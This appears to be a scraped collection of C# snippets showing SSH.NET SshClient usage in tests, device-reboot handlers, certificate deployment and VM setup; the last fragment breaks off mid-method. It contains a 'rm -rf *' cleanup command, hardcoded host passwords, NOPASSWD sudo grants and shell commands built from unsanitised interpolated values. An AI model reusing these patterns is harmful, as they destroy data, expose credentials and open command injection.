Ejemplo n.º 1
2
        public void Test_Connect_Handle_HostKeyReceived()
        {
            var host = Resources.HOST;
            var username = Resources.USERNAME;
            var password = Resources.PASSWORD;
            var hostKeyValidated = false;

            #region Example SshClient Connect HostKeyReceived
            using (var client = new SshClient(host, username, password))
            {
                client.HostKeyReceived += delegate(object sender, HostKeyEventArgs e)
                {
                    hostKeyValidated = true;

                    if (e.FingerPrint.SequenceEqual(new byte[] { 0x00, 0x01, 0x02, 0x03 }))
                    {
                        e.CanTrust = true;
                    }
                    else
                    {
                        e.CanTrust = false;
                    }
                };
                client.Connect();
                //  Do something here
                client.Disconnect();
            }
            #endregion

            Assert.IsTrue(hostKeyValidated);
        }
        public void Test_KeyExchange_Rekeying()
        {
            var connectionInfo = new PasswordConnectionInfo(Resources.HOST, 22, Resources.USERNAME, Resources.PASSWORD);

            using (var client = new SshClient(connectionInfo))
            {
                client.Connect();
                //  TODO:   Add test to test re-keying
                Assert.Inconclusive();
                client.Disconnect();
            }
        }
        public void Test_Execute_Command_Asynchronously_With_Callback()
        {
            using (var client = new SshClient(Resources.HOST, Resources.USERNAME, Resources.PASSWORD))
            {
                client.Connect();

                var callbackCalled = false;

                var cmd = client.CreateCommand("sleep 5s; echo 'test'");
                var asyncResult = cmd.BeginExecute(new AsyncCallback((s) =>
                {
                    callbackCalled = true;
                }), null);
                while (!asyncResult.IsCompleted)
                {
                    Thread.Sleep(100);
                }

                cmd.EndExecute(asyncResult);

                Assert.IsTrue(callbackCalled);

                client.Disconnect();
            }
        }
        public void Test_Execute_Command_Asynchronously_With_Callback_On_Different_Thread()
        {
            using (var client = new SshClient(Resources.HOST, Resources.USERNAME, Resources.PASSWORD))
            {
                client.Connect();

                var currentThreadId = Thread.CurrentThread.ManagedThreadId;
                int callbackThreadId = 0;

                var cmd = client.CreateCommand("sleep 5s; echo 'test'");
                var asyncResult = cmd.BeginExecute(new AsyncCallback((s) =>
                {
                    callbackThreadId = Thread.CurrentThread.ManagedThreadId;
                }), null);
                while (!asyncResult.IsCompleted)
                {
                    Thread.Sleep(100);
                }

                cmd.EndExecute(asyncResult);

                Assert.AreNotEqual(currentThreadId, callbackThreadId);

                client.Disconnect();
            }
        }
Ejemplo n.º 5
1
        public void BeginExecuteTest()
        {
            string expected = "123\n";
            string result;

            using (var client = new SshClient(Resources.HOST, Resources.USERNAME, Resources.PASSWORD))
            {
                #region Example SshCommand CreateCommand BeginExecute IsCompleted EndExecute

                client.Connect();

                var cmd = client.CreateCommand("sleep 15s;echo 123"); // Perform long running task

                var asynch = cmd.BeginExecute();

                while (!asynch.IsCompleted)
                {
                    //  Waiting for command to complete...
                    Thread.Sleep(2000);
                }
                result = cmd.EndExecute(asynch);
                client.Disconnect();

                #endregion

                Assert.IsNotNull(asynch);
                Assert.AreEqual(expected, result);
            }
        }
Ejemplo n.º 6
1
    static void Main(string[] args)
    {
        // Setup Credentials and Server Information
        ConnectionInfo ConnNfo = new ConnectionInfo("10.141.3.110",22,"root",
            new AuthenticationMethod[]{

                // Pasword based Authentication
                new PasswordAuthenticationMethod("root","ismail"),

            }
        );

        // Execute (SHELL) Commands
        using (var sshclient = new SshClient(ConnNfo)){
            sshclient.Connect();

            // quick way to use ist, but not best practice - SshCommand is not Disposed, ExitStatus not checked...
            Console.WriteLine("telnet localhost 6571");
            Console.WriteLine("denemeeeeeee");
            //Console.WriteLine(sshclient.CreateCommand("cd /tmp && ls -lah").Execute());
            //Console.WriteLine(sshclient.CreateCommand("pwd").Execute());
            //Console.WriteLine(sshclient.CreateCommand("cd /tmp/uploadtest && ls -lah").Execute());
            sshclient.Disconnect();
        }
        Console.ReadKey();
    }
Ejemplo n.º 7
1
 public void AddForwardedPortTest()
 {
     ConnectionInfo connectionInfo = null; // TODO: Initialize to an appropriate value
     SshClient target = new SshClient(connectionInfo); // TODO: Initialize to an appropriate value
     ForwardedPort port = null; // TODO: Initialize to an appropriate value
     target.AddForwardedPort(port);
     Assert.Inconclusive("A method that does not return a value cannot be verified.");
 }
Ejemplo n.º 8
1
        public void Test_Execute_SingleCommand_Without_Connecting()
        {
            using (var client = new SshClient(Resources.HOST, Resources.USERNAME, Resources.PASSWORD))
            {
                var result = ExecuteTestCommand(client);

                Assert.IsTrue(result);
            }
        }
 public void Test_AddForwardedPort_Invalid_PortNumber()
 {
     using (var client = new SshClient(Resources.HOST, Resources.USERNAME, Resources.PASSWORD))
     {
         client.Connect();
         var port1 = client.AddForwardedPort<ForwardedPortRemote>("localhost", IPEndPoint.MaxPort+1, "www.renci.org", IPEndPoint.MaxPort+1);
         client.Disconnect();
     }
 }
 public void CleanCurrentFolder()
 {
     using (var client = new SshClient(Resources.HOST, Resources.USERNAME, Resources.PASSWORD))
     {
         client.Connect();
         client.RunCommand("rm -rf *");
         client.Disconnect();
     }
 }
 public void Test_AddForwardedPort_Remote_Hosts_Are_Null()
 {
     using (var client = new SshClient(Resources.HOST, Resources.USERNAME, Resources.PASSWORD))
     {
         client.Connect();
         var port1 = client.AddForwardedPort<ForwardedPortRemote>(null, 8080, null, 80);
         client.Disconnect();
     }
 }
 public void Test_EndExecute_Before_BeginExecute()
 {
     using (var client = new SshClient(Resources.HOST, Resources.USERNAME, Resources.PASSWORD))
     {
         client.Connect();
         var cmd = client.CreateCommand("ls -l");
         cmd.EndExecute(null);
         client.Disconnect();
     }
 }
Ejemplo n.º 13
1
 public void CreateCommandTest1()
 {
     ConnectionInfo connectionInfo = null; // TODO: Initialize to an appropriate value
     SshClient target = new SshClient(connectionInfo); // TODO: Initialize to an appropriate value
     string commandText = string.Empty; // TODO: Initialize to an appropriate value
     SshCommand expected = null; // TODO: Initialize to an appropriate value
     SshCommand actual;
     actual = target.CreateCommand(commandText);
     Assert.AreEqual(expected, actual);
     Assert.Inconclusive("Verify the correctness of this test method.");
 }
Ejemplo n.º 14
1
        public void Test_Cipher_Aes192CTR_Connection()
        {
            var connectionInfo = new PasswordConnectionInfo(Resources.HOST, 22, Resources.USERNAME, Resources.PASSWORD);
            connectionInfo.Encryptions.Clear();
            connectionInfo.Encryptions.Add("aes192-ctr", new CipherInfo(192, (key, iv) => { return new AesCipher(key, new CtrCipherMode(iv), null); }));

            using (var client = new SshClient(connectionInfo))
            {
                client.Connect();
                client.Disconnect();
            }
        }
Ejemplo n.º 15
1
        public void Test_HMac_Sha1_96_Connection()
        {
            var connectionInfo = new PasswordConnectionInfo(Resources.HOST, int.Parse(Resources.PORT), Resources.USERNAME, Resources.PASSWORD);
            connectionInfo.HmacAlgorithms.Clear();
            connectionInfo.HmacAlgorithms.Add("hmac-sha1", new HashInfo(20 * 8, key => CryptoAbstraction.CreateHMACSHA1(key, 96)));

            using (var client = new SshClient(connectionInfo))
            {
                client.Connect();
                client.Disconnect();
            }
        }
Ejemplo n.º 16
1
        public void Test_HostKey_SshDss_Connection()
        {
            var connectionInfo = new PasswordConnectionInfo(Resources.HOST, int.Parse(Resources.PORT), Resources.USERNAME, Resources.PASSWORD);
            connectionInfo.HostKeyAlgorithms.Clear();
            connectionInfo.HostKeyAlgorithms.Add("ssh-dss", (data) => { return new KeyHostAlgorithm("ssh-dss", new DsaKey(), data); });

            using (var client = new SshClient(connectionInfo))
            {
                client.Connect();
                client.Disconnect();
            }
        }
Ejemplo n.º 17
1
        public void Test_HMac_Sha256_Connection()
        {
            var connectionInfo = new PasswordConnectionInfo(Resources.HOST, int.Parse(Resources.PORT), Resources.USERNAME, Resources.PASSWORD);
            connectionInfo.HmacAlgorithms.Clear();
            connectionInfo.HmacAlgorithms.Add("hmac-sha2-256", new HashInfo(32 * 8, HashAlgorithmFactory.CreateHMACSHA256));

            using (var client = new SshClient(connectionInfo))
            {
                client.Connect();
                client.Disconnect();
            }
        }
Ejemplo n.º 18
1
        public void Test_HMac_Sha1_Connection()
        {
            var connectionInfo = new PasswordConnectionInfo(Resources.HOST, 22, Resources.USERNAME, Resources.PASSWORD);
            connectionInfo.HmacAlgorithms.Clear();
            connectionInfo.HmacAlgorithms.Add("hmac-sha1", (key) => { return new HMac<SHA1Hash>(key.Take(20).ToArray()); });

            using (var client = new SshClient(connectionInfo))
            {
                client.Connect();
                client.Disconnect();
            }
        }
Ejemplo n.º 19
1
        public void Test_HMac_MD5_96_Connection()
        {
            var connectionInfo = new PasswordConnectionInfo(Resources.HOST, int.Parse(Resources.PORT), Resources.USERNAME, Resources.PASSWORD);
            connectionInfo.HmacAlgorithms.Clear();
            connectionInfo.HmacAlgorithms.Add("hmac-md5", new HashInfo(16 * 8, key => HashAlgorithmFactory.CreateHMACMD5(key, 96)));

            using (var client = new SshClient(connectionInfo))
            {
                client.Connect();
                client.Disconnect();
            }
        }
 public void Test_AddForwardedPort_Local_Hosts_Are_Empty()
 {
     using (var client = new SshClient(Resources.HOST, Resources.USERNAME, Resources.PASSWORD))
     {
         client.Connect();
         var port1 = client.AddForwardedPort<ForwardedPortLocal>(string.Empty, 8080, string.Empty, 80);
         client.Disconnect();
     }
 }
        public void Test_KeyExchange_GroupExchange_Sha256_Connection()
        {
            var connectionInfo = new PasswordConnectionInfo(Resources.HOST, 22, Resources.USERNAME, Resources.PASSWORD);
            connectionInfo.KeyExchangeAlgorithms.Clear();
            connectionInfo.KeyExchangeAlgorithms.Add("diffie-hellman-group-exchange-sha256", typeof(KeyExchangeDiffieHellmanGroupExchangeSha256));

            using (var client = new SshClient(connectionInfo))
            {
                client.Connect();
                client.Disconnect();
            }
        }
Ejemplo n.º 22
0
        public void Test_Cipher_AEes128CBC_Connection()
        {
            var connectionInfo = new PasswordConnectionInfo(Resources.HOST, int.Parse(Resources.PORT), Resources.USERNAME, Resources.PASSWORD);
            connectionInfo.Encryptions.Clear();
            connectionInfo.Encryptions.Add("aes128-cbc", new CipherInfo(128, (key, iv) => { return new AesCipher(key, new CbcCipherMode(iv), null); }));

            using (var client = new SshClient(connectionInfo))
            {
                client.Connect();
                client.Disconnect();
            }
        }
Ejemplo n.º 23
0
        public void Test_Connect_Using_Correct_Password()
        {
            var host = Resources.HOST;
            var username = Resources.USERNAME;
            var password = Resources.PASSWORD;

            #region Example SshClient(host, username) Connect
            using (var client = new SshClient(host, username, password))
            {
                client.Connect();
                //  Do something here
                client.Disconnect();
            }
            #endregion
        }
        protected void Arrange()
        {
            _connectionInfo = new ConnectionInfo("host", "user", new NoneAuthenticationMethod("userauth"));

            _serviceFactoryMock = new Mock<IServiceFactory>(MockBehavior.Strict);
            _sessionMock = new Mock<ISession>(MockBehavior.Strict);

            var sequence = new MockSequence();
            _serviceFactoryMock.InSequence(sequence).Setup(p => p.CreateSession(_connectionInfo)).Returns(_sessionMock.Object);
            _sessionMock.InSequence(sequence).Setup(p => p.Connect());
            _sessionMock.InSequence(sequence).Setup(p => p.OnDisconnecting());
            _sessionMock.InSequence(sequence).Setup(p => p.Dispose());

            _sshClient = new SshClient(_connectionInfo, false, _serviceFactoryMock.Object);
            _sshClient.Connect();
        }
Ejemplo n.º 25
0
 protected void RebootButton_Click(object sender, EventArgs e)
 {
     try
     {
         using (var client = new SshClient("ra-jetson.duckdns.org", "ubuntu", "savingL1v3s"))
         {
             client.Connect();
             client.RunCommand("sudo /home/ubuntu/Desktop/bandhan/SQL-Scripts/./RightAlertRemoteRebootIssued-SQL"); // SSH Command Here
             client.RunCommand("sudo reboot"); // SSH Command Here
             client.Disconnect();
         }
     }
     catch (Exception ex)
     {
         Response.Redirect("Down.html");
     }
 }
Ejemplo n.º 26
0
        //[TestMethod]
        public void Test_MultipleThread_10000_MultipleSessions()
        {
            using (var client = new SshClient(Resources.HOST, Resources.USERNAME, Resources.PASSWORD))
            {
                client.Connect();
                System.Threading.Tasks.Parallel.For(0, 10000,
                    (counter) =>
                    {
                        var result = ExecuteTestCommand(client);
                        Debug.WriteLine(string.Format("TestMultipleThreadMultipleConnections #{0}", counter));
                        Assert.IsTrue(result);
                    }
                );

                client.Disconnect();
            }
        }
Ejemplo n.º 27
0
 public void CreateShellStreamTest()
 {
     ConnectionInfo connectionInfo = null; // TODO: Initialize to an appropriate value
     SshClient target = new SshClient(connectionInfo); // TODO: Initialize to an appropriate value
     string terminalName = string.Empty; // TODO: Initialize to an appropriate value
     uint columns = 0; // TODO: Initialize to an appropriate value
     uint rows = 0; // TODO: Initialize to an appropriate value
     uint width = 0; // TODO: Initialize to an appropriate value
     uint height = 0; // TODO: Initialize to an appropriate value
     int bufferSize = 0; // TODO: Initialize to an appropriate value
     IDictionary<TerminalModes, uint> terminalModeValues = null; // TODO: Initialize to an appropriate value
     ShellStream expected = null; // TODO: Initialize to an appropriate value
     ShellStream actual;
     actual = target.CreateShellStream(terminalName, columns, rows, width, height, bufferSize, terminalModeValues);
     Assert.AreEqual(expected, actual);
     Assert.Inconclusive("Verify the correctness of this test method.");
 }
        public void Test_PrivateKeyConnectionInfo()
        {
            var host = Resources.HOST;
            var username = Resources.USERNAME;
            MemoryStream keyFileStream = new MemoryStream(Encoding.ASCII.GetBytes(Resources.RSA_KEY_WITHOUT_PASS));

            #region Example PrivateKeyConnectionInfo PrivateKeyFile
            var connectionInfo = new PrivateKeyConnectionInfo(host, username, new PrivateKeyFile(keyFileStream));
            using (var client = new SshClient(connectionInfo))
            {
                client.Connect();
                client.Disconnect();
            }
            #endregion

            Assert.AreEqual(connectionInfo.Host, Resources.HOST);
            Assert.AreEqual(connectionInfo.Username, Resources.USERNAME);
        }
Ejemplo n.º 29
0
        /// <summary>
        /// Perform some kind of control action
        /// </summary>
        /// <param name="client"></param>
        /// <returns></returns>
        public override bool Execute(SshClient client)
        {
            if (Send.Contains("ATD"))
            {
                if (!Send.EndsWith(";"))
                {
                    Send += ";";
                }

                if (Send.Contains("$TESTPHONENUMBER"))
                {
                    if (qForm == null)
                    {
                        qForm = new frmQuestionForm {
                            Question = "Please enter the number to dial"
                        }
                    }
                    ;
                    qForm.ShowDialog();

                    Send = Send.Replace("$TESTPHONENUMBER", qForm.Answer);
                }
            }

            bool success = base.Execute(client);

            if (!success)
            {
                if (!string.IsNullOrEmpty(HangUpOnFail))
                {
                    Send = HangUpOnFail;
                    base.Execute(client);
                }
                return(false);
            }

            if (Send.Contains("AT+CSQ"))
            {
                if (MinCSQ.HasValue)
                {
                    try
                    {
                        string[] arr =
                            Output.Split(',');
                        int csq = int.Parse(arr[0]);
                        if (csq < MinCSQ)
                        {
                            Logger.Warn("CSQ is too low");
                            Output += " - CSQ too low (<" + MinCSQ + ")";
                            success = false;
                        }
                    }
                    catch (Exception e)
                    {
                        Logger.Warn("Exception analysing CSQ response: " + e.Message);
                        success = false;
                    }
                }
            }
            return(success);
        }
    }
Ejemplo n.º 30
0
        public static string GetVulnerablePackageDetails(SshClient sshClient, string packageName)
        {
            var detail = sshClient.CreateCommand($"sudo pkg audit -F -r -q {packageName}").Execute();

            return(detail);
        }
        private async Task OnEvent(WatcherEvent <V1Secret> e)
        {
            if (e.Item.Type.StartsWith("helm.sh"))
            {
                return;
            }

            var secretId = KubernetesObjectId.For(e.Item.Metadata());
            var item     = e.Item;

            _logger.LogTrace("[{eventType}] {kind} {@id}", e.Type, e.Item.Kind, secretId);

            if (e.Type != WatchEventType.Added && e.Type != WatchEventType.Modified)
            {
                return;
            }
            if (!e.Item.Metadata.ReflectionAllowed() || !e.Item.Metadata.UbiquitiReflectionEnabled())
            {
                return;
            }
            if (!e.Item.Type.Equals("kubernetes.io/tls", StringComparison.InvariantCultureIgnoreCase))
            {
                return;
            }

            _logger.LogDebug("Ubiquiti enabled using host secret {secretId}.", secretId);

            var tlsCrt = Encoding.Default.GetString(item.Data["tls.crt"]);
            var tlsKey = Encoding.Default.GetString(item.Data["tls.key"]);

            var hostSecretIds =
                item.Metadata.UbiquitiReflectionHosts()
                .Select(s => new KubernetesObjectId(s))
                .ToList();

            foreach (var hostSecretId in hostSecretIds)
            {
                _logger.LogDebug(
                    "Reflecting {secretId} to Ubiquiti device using host secret {hostSecretId}.",
                    secretId, hostSecretId, hostSecretId);
                string hostAddress;
                string username;
                string password;
                try
                {
                    var hostSecret = await _apiClient.ReadNamespacedSecretAsync(hostSecretId.Name,
                                                                                string.IsNullOrWhiteSpace(hostSecretId.Namespace)
                                                                                ?e.Item.Metadata.NamespaceProperty
                                                                                : hostSecretId.Namespace);

                    if (hostSecret.Data is null || !hostSecret.Data.Keys.Any())
                    {
                        _logger.LogWarning("Cannot reflect {secretId} to {hostSecretId}. " +
                                           "Host secret {hostSecretId} has no data.",
                                           secretId, hostSecretId, hostSecretId);
                        continue;
                    }

                    hostAddress = hostSecret.Data.ContainsKey("host")
                        ? Encoding.Default.GetString(hostSecret.Data["host"])
                        : null;
                    username = hostSecret.Data.ContainsKey("username")
                        ? Encoding.Default.GetString(hostSecret.Data["username"])
                        : null;
                    password = hostSecret.Data.ContainsKey("password")
                        ? Encoding.Default.GetString(hostSecret.Data["password"])
                        : null;
                }
                catch (HttpOperationException ex) when(ex.Response.StatusCode == HttpStatusCode.NotFound)
                {
                    _logger.LogWarning(
                        "Cannot reflect {secretId} to {hostSecretId}. Host secret {hostSecretId} not found.",
                        secretId, hostSecretId, hostSecretId);

                    continue;
                }

                if (string.IsNullOrWhiteSpace(hostAddress) || string.IsNullOrWhiteSpace(username) ||
                    string.IsNullOrWhiteSpace(password))
                {
                    _logger.LogWarning(
                        "Cannot reflect {secretId} to Ubiquiti device using host secret {hostSecretId}. " +
                        "Host secret {hostSecretId} must contain 'host', 'username' and 'password' values.",
                        secretId, hostSecretId, hostSecretId);
                    continue;
                }

                var hostParts = hostAddress.Split(new[] { ":" }, StringSplitOptions.RemoveEmptyEntries)
                                .Select(s => s.Trim())
                                .Where(s => !string.IsNullOrWhiteSpace(s)).ToList();
                if (!hostParts.Any() || hostParts.Count > 2)
                {
                    _logger.LogWarning(
                        "Cannot reflect {secretId} to Ubiquiti device using host secret {hostSecretId}. " +
                        "Host secret {hostSecretId} contains invalid 'host' data. " +
                        "'host' must be in the format 'host:port' where port is optional.",
                        secretId, hostSecretId, hostSecretId);
                }

                var host = hostParts.First();
                var port =
                    hostParts.Count < 2
                        ? 22
                        : int.TryParse(hostParts.Last(), out var p)
                            ? p
                            : 22;

                // SSH
                using var client      = new SshClient(host, port, username, password);
                client.ErrorOccurred += delegate(object sender, ExceptionEventArgs exceptionEventArgs)
                {
                    _logger.LogError(exceptionEventArgs.Exception,
                                     "Cannot reflect {secretId} to Ubiquiti device using host secret {hostSecretId} due to exception.",
                                     secretId, hostSecretId);
                };

                _logger.LogDebug("Connecting to Ubiquiti device at {host}", hostAddress);
                client.Connect();

                _logger.LogDebug("Check certificate on Ubiquiti device at {host}", hostAddress);
                var catCommand = client.RunCommand("cat /etc/ssl/private/cloudkey.crt");
                if (catCommand.Result.Contains(tlsCrt))
                {
                    _logger.LogDebug(
                        "Skip reflecting {secretId} to Ubiquiti device using host secret {hostSecretId}. Already exists.",
                        secretId, hostSecretId);
                    return;
                }

                _logger.LogDebug("Configuring new Let's Encrypt certs on Ubiquiti device at {host}", hostAddress);
                client.RunCommand($"echo \"{tlsCrt}\" > /etc/ssl/private/cloudkey.crt");
                client.RunCommand($"echo \"{tlsKey}\" > /etc/ssl/private/cloudkey.key");

                client.RunCommand(
                    "rm -f /etc/ssl/private/cert.tar /etc/ssl/private/unifi.keystore.jks /etc/ssl/private/ssl-cert-snakeoil.key /etc/ssl/private/fullchain.pem");

                client.RunCommand(
                    "openssl pkcs12 -export -in /etc/ssl/private/cloudkey.crt -inkey /etc/ssl/private/cloudkey.key -out /etc/ssl/private/cloudkey.p12 -name unifi -password pass:aircontrolenterprise");

                client.RunCommand(
                    "keytool -importkeystore -deststorepass aircontrolenterprise -destkeypass aircontrolenterprise -destkeystore /usr/lib/unifi/data/keystore -srckeystore /etc/ssl/private/cloudkey.p12 -srcstoretype PKCS12 -srcstorepass aircontrolenterprise -alias unifi");

                client.RunCommand("rm -f /etc/ssl/private/cloudkey.p12");
                client.RunCommand("tar -cvf /etc/ssl/private/cert.tar /etc/ssl/private/*");
                client.RunCommand("chown root:ssl-cert /etc/ssl/private/*");
                client.RunCommand("chmod 640 /etc/ssl/private/*");

                _logger.LogDebug("Restarting on Ubiquiti device at {host}", hostAddress);
                client.RunCommand("systemctl restart nginx; systemctl restart unifi");

                client.Disconnect();

                _logger.LogInformation("Reflected {secretId} to Ubiquiti device using host secret {hostSecretId}.",
                                       secretId, hostSecretId);
            }
        }
Ejemplo n.º 32
0
 public ProjectBase(SshClient sshClient, TSettings parameters, Action <string> writeOutput)
 {
     _sshClient  = sshClient;
     WriteOutput = writeOutput;
     Parameters  = parameters;
 }
        public async Task <bool> ConfigureMachine(Machine machine)//TODO: Unifinished due to unknown elements related to lack of access to images on open nebula
        {
            //Construct configuration string
            List <MachineConfigurationUser> configurationUsers = new();
            var assignments = await GetContext().MachineAssignments.Where(ass => ass.MachineID == machine.MachineID).ToListAsync();

            foreach (var assignment in assignments)//TODO: Expecting issues with resolution of virtual properties on the items from the database
            {
                if (assignment.GroupID == null)
                {
                    if (await GetContext().Users.FindAsync(assignment.UserUsername) == null)
                    {
                        GetContext().Users.Add(await UserFactory.Create(assignment.UserUsername));
                    }
                    MachineConfigurationUser machineConfigurationUser = new();
                    machineConfigurationUser.Groups       = machine.LinuxGroups;
                    machineConfigurationUser.Username     = assignment.UserUsername;
                    machineConfigurationUser.UserPassword = assignment.OneTimePassword;



                    User user = (await GetContext().Users.FindAsync(assignment.UserUsername));
                    machineConfigurationUser.UserPublicKey = user.UserPublicKey;
                    configurationUsers.Add(machineConfigurationUser);
                }
                else
                {
                    foreach (var groupAssignment in GetContext().GroupAssignments.Where(ga => ga.GroupID == assignment.GroupID))
                    {
                        MachineConfigurationUser machineConfigurationUser = new();
                        machineConfigurationUser.Groups        = machine.LinuxGroups;
                        machineConfigurationUser.Username      = groupAssignment.User.Username;
                        machineConfigurationUser.UserPassword  = assignment.OneTimePassword;
                        machineConfigurationUser.UserPublicKey = groupAssignment.User.UserPublicKey;
                        configurationUsers.Add(machineConfigurationUser);
                    }
                }
            }
            var connectionInfo = new ConnectionInfo(machine.MachineStatus.MachineIp, _defaultUsername, new PrivateKeyAuthenticationMethod("admin", new PrivateKeyFile($"{SERVER_SCALABLE_TEACHING_PATH}/.ssh/id_rsa")));

            Console.WriteLine($"Connection info, ip: {machine.MachineStatus.MachineIp}, Default username: {_defaultUsername}, ");
            using (var client = new SshClient(connectionInfo))
            {
                MemoryStream stdin  = new();
                MemoryStream stdout = new();
                MemoryStream extout = new();
                client.Connect();

                //Add groups
                foreach (var group in machine.LinuxGroups)
                {
                    var command = client.CreateCommand($"sudo groupadd {group}");
                    var result  = command.BeginExecute();
                    await Task.Run(() => result.AsyncWaitHandle.WaitOne());
                }
                //Add users
                foreach (MachineConfigurationUser user in configurationUsers)
                {
                    var p = new Process();
                    p.StartInfo.UseShellExecute        = false;
                    p.StartInfo.RedirectStandardOutput = true;
                    p.StartInfo.FileName  = "openssl";
                    p.StartInfo.Arguments = $"passwd -6 -salt {RandomString(10)} {user.UserPassword}";
                    p.Start();
                    await p.WaitForExitAsync();

                    string output = (await p.StandardOutput.ReadToEndAsync()).Trim();
                    Console.WriteLine($"Add user: {user.Username} hashed pw: {output}");


                    //Create User
                    var useraddCommand = await PerformSSHCommand(client, $"sudo useradd -s \"/usr/bin/bash\" -mp {output} {user.Username.ToLower()}");

                    Console.WriteLine($"MachineConfigurator: useraddCommand text: {useraddCommand.CommandText} Result: {useraddCommand.Result}");

                    //Add user to linux groups
                    foreach (var group in user.Groups)
                    {
                        var usermodCommand = await PerformSSHCommand(client, $"sudo usermod -aG {group} {user.Username.ToLower()}");

                        Console.WriteLine($"MachineConfigurator: usermodCommand text: {usermodCommand.CommandText} .Result {usermodCommand.Result}");
                    }

                    //Prep authorized_keys
                    var AuthorizedKeysCommand = await PerformSSHCommand(client, $"sudo mkdir -p /home/{user.Username.ToLower()}/.ssh &&" +
                                                                        $" sudo touch /home/{user.Username.ToLower()}/.ssh/authorized_keys &&" +
                                                                        $" sudo chown -R {user.Username.ToLower()}:{user.Username.ToLower()} /home/{user.Username.ToLower()}/.ssh &&" +
                                                                        $" sudo chmod -R 755 /home/{user.Username.ToLower()}/.ssh");

                    Console.WriteLine($"MachineConfigurator: AuthorizedKeysCommand text: {AuthorizedKeysCommand.CommandText} .Result {AuthorizedKeysCommand.Result}");

                    //Add key
                    var addKeyCommand = client.CreateCommand($"sudo sh -c 'echo \"{user.UserPublicKey}\" >> /home/{user.Username.ToLower()}/.ssh/authorized_keys'");
                    var addKeyResult  = addKeyCommand.BeginExecute();
                    await Task.Run(() => addKeyResult.AsyncWaitHandle.WaitOne());

                    Console.WriteLine($"MachineConfigurator: addKeyCommand text {addKeyCommand.CommandText} .Result {addKeyCommand.Result}");

                    //Remove password requirement from sudo
                    var nopasswdCommand = await PerformSSHCommand(client, $"sudo sh -c 'echo \"{user.Username.ToLower()} ALL=(ALL) NOPASSWD:ALL\" > /etc/sudoers.d/{user.Username.ToLower()}'");

                    Console.WriteLine($"MachineConfigurator: nopasswdCommand text {nopasswdCommand.CommandText} .Result {nopasswdCommand.Result}");
                }

                //Update
                var aptUpdateUpgradeCommand = await PerformSSHCommand(client, $"sudo apt-get update");

                Console.WriteLine($"MachineConfigurator: aptUpdateUpgradeCommand.Result {aptUpdateUpgradeCommand.Result}");

                //Prep for ppa
                var ppaPrepCommand = await PerformSSHCommand(client, $"sudo apt-get install -y software-properties-common");

                Console.WriteLine($"MachineConfigurator: ppaPrepCommand.Result {ppaPrepCommand.Result}");

                //PPA
                foreach (var ppa in machine.Ppa)
                {
                    var ppaAddCommand = await PerformSSHCommand(client, $"sudo add-apt-repository -y {ppa}");

                    Console.WriteLine($"MachineConfigurator: ppaAddCommand.Result {ppaAddCommand.Result}");
                }

                //Post ppa update and upgrade
                var postPpaUpdateCommand = await PerformSSHCommand(client, $"sudo apt-get update && sudo apt-get upgrade -y");

                Console.WriteLine($"MachineConfigurator: postPpaUpdateCommand.Result {postPpaUpdateCommand.Result}");

                //Install apts
                foreach (var apt in machine.Apt)
                {
                    var aptInstallCommand = await PerformSSHCommand(client, $"sudo apt-get install -y {apt}");

                    Console.WriteLine($"MachineConfigurator: aptInstallCommand.Result {aptInstallCommand.Result}");
                }

                //Apt cleanup
                SshCommand aptCleanupCommand = await PerformSSHCommand(client, $"sudo apt-get autoremove -y");

                Console.WriteLine($"MachineConfigurator: aptCleanupCommand.Result {aptCleanupCommand.Result}");

                client.Disconnect();
            }
            return(true); //TODO: Implement error handeling for configuration
        }
Ejemplo n.º 34
0
        public static SshCommand BeginCommand(this SshClient ssh, string commandText, Action <string> output, AsyncCallback callback)
        {
            IAsyncResult asyncResult;

            return(ssh.BeginCommand(commandText, output, out asyncResult));
        }
Ejemplo n.º 35
0
        internal static async Task <SshCommand> RunCommandAsync(this SshClient client, string strCommand)
        {
            SshCommand command = await Task.Run(() => client.RunCommand(strCommand));

            return(command);
        }
Ejemplo n.º 36
0
        private void Btn_start_Click(object sender, RoutedEventArgs e)
        {
            string ip       = tb_ip.Text;
            string name     = tb_name.Text;
            string password = tb_password.Text;
            string command  = tb_command.Text;

            Console.WriteLine("work");
            try
            {
                sshClient = new SshClient(ip, 22, name, password);
                sshClient.Connect();
                textBox_input.IsEnabled = true;
                textBox_input.Focus();


                //stream = client.CreateShellStream("xterm", 80, 24, 800, 600, 1024);
                stream = sshClient.CreateShellStream("customCommand", 80, 24, 800, 600, 4096);
                string str = read();
                textBox_result.Text += str;
                //stream = client.CreateShellStream("vt100", 80, 24, 800, 600, 1024);
                //stream = client.CreateShellStream("dumb", 80, 24, 800, 600, 1024);
                //SendCommand(stream, "");
                //test
                //uint[] a = new uint[] {80, 24, 800, 600 };

                //input = client.CreateShellStream("a", a[0], a[1], a[2], a[3], 1024);
                //output = client.CreateShellStream("b", a[0], a[1], a[2], a[3], 1024);
                //exoutput = client.CreateShellStream("c", a[0], a[1], a[2], a[3], 1024);
                //shell = client.CreateShell(input, output, exoutput);
                //shell.Stopped += delegate { Console.WriteLine("shell stoped!!"); };
                //shell.Start();

                //if(input != null)
                //	Console.WriteLine("input = " + input.Read());
                //if(output != null)
                //	Console.WriteLine("output = " + output.Read());
                //if(exoutput != null)
                //	Console.WriteLine("exoutput = " + exoutput.Read());
                ////input.Write("ls");
                ////Console.WriteLine("result = " + output.Read());

                //SshCommand x = client.RunCommand(command);
                //client.Disconnect();

                //Console.WriteLine();
                //Console.WriteLine("CommandText = " + x.CommandText);
                //Console.WriteLine("CommandTimeout = " + x.CommandTimeout);
                //Console.WriteLine("Error = " + x.Error);
                //Console.WriteLine("ExitStatus = " + x.ExitStatus);
                //Console.WriteLine("Result = " + x.Result);
                //Console.WriteLine("OutputStream = " + x.OutputStream);
                //Console.WriteLine("ExtendedOutputStream = " + x.ExtendedOutputStream);
                //Console.WriteLine();
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.Message);
            }
            Console.WriteLine("finish");
        }
Ejemplo n.º 37
0
        private void ConnectButton_Click(object sender, RoutedEventArgs e)
        {
            CleanUI();

            SetButtonsState(false);

            sshClient = new SshClient(IPAddress.Text, Username.Text, Password.Password);

            try
            {
                sshClient.Connect();
            }
            catch (Exception ex)
            {
                UpdateTaskbarErrorState(1, System.Windows.Shell.TaskbarItemProgressState.Error);
                MessageBox.Show("An error occured while connecting : \n" + ex.Message, "Error!");
                SetButtonsState(true);
                sshClient.Dispose();
            }

            areStreamsOpen = true;

            Title = Title + $" - {IPAddress.Text}";

            Settings1.Default[settingsFileIpKey]       = IPAddress.Text;
            Settings1.Default[settingsFileUsernameKey] = Username.Text;
            Settings1.Default[settingsFilePasswordKey] = Password.Password;
            Settings1.Default.Save();

